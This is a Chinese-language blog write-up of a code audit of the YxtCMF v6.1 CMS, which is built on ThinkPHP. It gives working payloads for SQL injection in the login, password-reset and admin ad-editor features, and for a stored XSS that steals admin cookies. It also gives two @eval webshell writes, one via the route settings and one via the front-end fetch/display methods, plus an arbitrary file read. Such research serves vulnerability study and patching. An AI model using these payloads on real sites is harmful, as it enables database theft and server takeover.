玩命加载中 . . .

phpMVC 结构审计-YxtCMFv6.1


配置

下载地址:http://down.chinaz.com/soft/38075.htm

目录

admin    //后台静态文件
appliication    //应用文件
data    //数据配置文件
Expand    //扩展类库目录
plugins    //插件
public    //一些资源
themes    //主题
ueditor    //编辑器文件
update    //升级文件
uploads    //上传文件
yxtedu    //核心目录根据Thinkphp3.2.3开发的
index.php
application/xxx/controller    //由于是MVC架构,控制controller
application/xxx/Menu    //里面基本上是数组,定义了网站的一些功能名称、模块,我们可以根据这些数组查找到功能点对应的php文件
data/conf/route.php    //路由文件
data/conf/db.php    //数据库配置文件
yxtedu/Core/Mode/Api/function.php    //thinkphp里面的一些自定义的重要函数,后面我们需要用到

upload successful

入口文件index.php

<?php
if (ini_get('magic_quotes_gpc'))
{
    function stripslashesRecursive(array $array)
    {
        foreach ($array as $k => $v)
        {
            if (is_string($v))
            {
                $array[$k] = stripslashes($v);
            } else
            if (is_array($v))
            {
                $array[$k] = stripslashesRecursive($v);
            }
        }
        return $array;
    }
    $_GET = stripslashesRecursive($_GET);
    $_POST = stripslashesRecursive($_POST);
}
define("APP_DEBUG",false);
define('SITE_PATH', dirname(__file__) . "/");
define('APP_PATH', SITE_PATH . 'application/');
define('SPAPP_PATH', SITE_PATH . 'yxtedu/');
define('SPAPP', './application/');
define('SPSTATIC', SITE_PATH . 'statics/');
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
define("THINKCMF_CORE_TAGLIBS", 'cx,Common\Lib\Taglib\TagLibSpadmin,Common\Lib\Taglib\TagLibHome');
if (!file_exists("data/install.lock"))
{
    if (strtolower($_GET['g']) != "install")
    {
        header("Location:./index.php?g=install");
        exit();
    }
}
require SPAPP_PATH . 'Core/ThinkPHP.php';

先判断是否开启magic_quotes_gpc,magic_quotes_gpc是配置在php.ini中的,他的作用类似addslashes(),就是对输入的字符创中的字符进行转义处理。他可以对$_POST、$__GET以及进行数据库操作的sql进行转义处理,防止sql注入

然后进行stripslashesRecursive()调用处理,实质是使用stripslashes(),返回一个去除转义反斜线后的字符串(' 转换为 ‘ 等等)。双反斜线(\)被转换为单个反斜线(\),这里感觉岂不是更不安全

然后是给常用参数赋值,然后判断是否安装通过data/install.lock是否存在

首页

登录功能

首页找功能点, 先看登录功能,由于是thinkphp开发的,所以我们只需要看登录的控制器就行了

login控制器目录

 YxtCMF\application\User\Controller\LoginController.class.php

直接查看ajaxlogin()控制登录函数
upload successful

        $username=$_POST['account'];
        $password=$_POST['password'];
        $users_model=M('Users');
        if(preg_match('/^\d+$/', $username)){
            $where['mobile']=$username;
        }else{
             if(strpos($username,"@")>0){
                $where['user_email']=$username;
            }else{
                $where['user_login']=$username;
            }
        }     
        $result = $users_model->where($where)->find();

POST传入值,创建一个M模型,判断了一下用户登录的方式(手机号|邮箱|id),传入where数组,看下文档
文档地址:http://document.thinkphp.cn/manual_3_2.html#query_type
upload successful
查询历史漏洞,发现thinkphp有个exp
upload successful
所以我们可以构造一个username的数组进行注入
payload:

account[0]=exp&account[1]=%3d'123'%20and%201%3d(updatexml(1,concat(0x3a,(select%20database())

upload successful
为啥要构造两个等号,因为exp后执行的是完整的wheresql语句无等号
可以尝试去掉等号
upload successful
这里依然可以通过注册一个账号sql读取密码通过sql update来更新管理员的密码,获得管理员权限

注册功能

查看控制器

application\User\Controller\LoginController.class.php

查询语句取决于是否设置短信验证
upload successful
发现经过safe函数进行过滤
查看继承的控制器,找safe函数

application\Common\Controller\HomebaseController.class.php

upload successful
发现过滤了xss利用((xss个人认为没有,实体化了单引号,双引号,和>) 和单引号 不过不影响,主要导致这里无法注入的是 $str = trim($str);
trim()处理的对象是字符串,测试传入数组,发现数组变为空(调试结果下图)
upload successful
upload successful
验证一下将$str = trim($str);给注释掉,发现注入成功
upload successful
所以这里应该没法注入,若分析不对请指正感谢
继续看一下忘记密码功能
upload successful
抓包看了一下调用的是

application\User\Controller\RegisterController.class.php

的repassword()方法,同样原理这里存在sql注入
upload successful
payload

tel[0]=exp&tel[1]=%3d1%20and%20updatexml(1,concat(0x7e,user()),1)&mobileCode=&password=123456789&repassword=123456789

upload successful

普通用户登录

更改姓名的地方存在存储xss
upload successful
抓包查看调用的控制器函数为

application\User\Controller\SettingController.class.php

upload successful
userid是没法该变的系统调用,但是保存的其他未经过任何过滤,存在储存xss,登录管理员后台,发现同样被执行,可盗取管理员cookie
upload successful

管理员后台登录

广告编辑处存在sql

控制器

application\Admin\Controller\AdController.class.php

37行
upload successful
经过I函数处理,查看官方文档I函数
http://document.thinkphp.cn/manual_3_2.html#input_filter
upload successful
后没跟过滤选项,查看全局过滤
upload successful
所以只是实例化了xss
存在sql注入
upload successful
同样的sql还有很多地方,不在看了

添加路由处getshell

application\Admin\Controller\RouteController.class.php

upload successful
查看sp_get_routes()函数

application\Common\Common\function.php
function sp_get_routes($refresh=false){
    $routes=F("routes");

    if( (!empty($routes)||is_array($routes)) && !$refresh){
        return $routes;
    }
    $routes=M("Route")->where("status=1")->order("listorder asc")->select();
    $all_routes=array();
    $cache_routes=array();
    foreach ($routes as $er){
        $full_url=htmlspecialchars_decode($er['full_url']);

        // 解析URL
        $info   =  parse_url($full_url);

        $path       =   explode("/",$info['path']);
        if(count($path)!=3){//必须是完整 url
            continue;
        }

        $module=strtolower($path[0]);

        // 解析参数
        $vars = array();
        if(isset($info['query'])) { // 解析地址里面参数 合并到vars
            parse_str($info['query'],$params);
            $vars = array_merge($params,$vars);
        }

        $vars_src=$vars;

        ksort($vars);

        $path=$info['path'];

        $full_url=$path.(empty($vars)?"":"?").http_build_query($vars);

        $url=$er['url'];

        if(strpos($url,':')===false){
            $cache_routes['static'][$full_url]=$url;
        }else{
            $cache_routes['dynamic'][$path][]=array("query"=>$vars,"url"=>$url);
        }

        $all_routes[$url]=$full_url;

    }
    F("routes",$cache_routes);
    $route_dir=SITE_PATH."/data/conf/";
    if(!file_exists($route_dir)){
        mkdir($route_dir);
    }

    $route_file=$route_dir."route.php";

    file_put_contents($route_file, "<?php\treturn " . stripslashes(var_export($all_routes, true)) . ";");

    return $cache_routes;


}

最后面
upload successful

upload successful
stripslashes
var_export
相当于没启用作用,so如果可控制$all_routes通过单引号闭合变可写入木马
upload successful
$url直接从数据库读取没有处理,$full_url 判断了path必须大于三位
也就是说最少要a/b/c,
upload successful
所以可构造闭合单引号写入
payload:

a/b/c',@eval($_REQUEST['a']),'

upload successful
一定要启用,因为where(“status=1”)
upload successful
upload successful
成功写入
upload successful

前台getshel

任意文件读取payload:

/index.php?a=display&templateFile=1.txt

upload successful
写入文件getshellp

pauload:

index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('lnng.php','<?php @eval($_POST["lnng"]); ?>')</php>

upload successful

原理

看下面这两个大佬的文章吧,写的超级详细
https://www.yuque.com/u390550/hsy6gq/xggm0c#PmqIa
https://paper.seebug.org/1419/#41-thinkcmf-2x-fetch

简单概括来说Thinkcmf是Tinkphp再开发的,他有一些Thinkphp的特性,可以通过g\m\a参数指定分组\控制器\方法,这里可以通过a参数直接调用(为啥是Portal应用,配置里有个’DEFAULT_MODULE’ => ‘Portal’,建议看文章为啥是a和Portal)Portal\IndexController父类HomebaseController中的一些权限为public的方法(fetch方法 display方法)

然后他有对应的参数

fetch函数层层分析,最后函数中调用了loadTemplate()函数,进入到该函数中,我们可以看到content最终被赋值到了 $tmplContent参数中;
然后$tmplContent (content)经过编译后通过Storage::put函数保存,最终将文件生成到data/runtime/Cache/Portal文件夹中。最后在Template.class.php文件中调用了Storage::load加载cache文件,最终导致代码执行。
upload successful

upload successful

upload successful

upload successful
还是建议看上面两个大佬的文章这个地方写的非常详细

参考文章

https://evi1s.com/archives/159/
https://www.yuque.com/u390550/hsy6gq/xggm0c#PmqIa
https://paper.seebug.org/1419/#41-thinkcmf-2x-fetch


文章作者: Lmg
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lmg !
  目录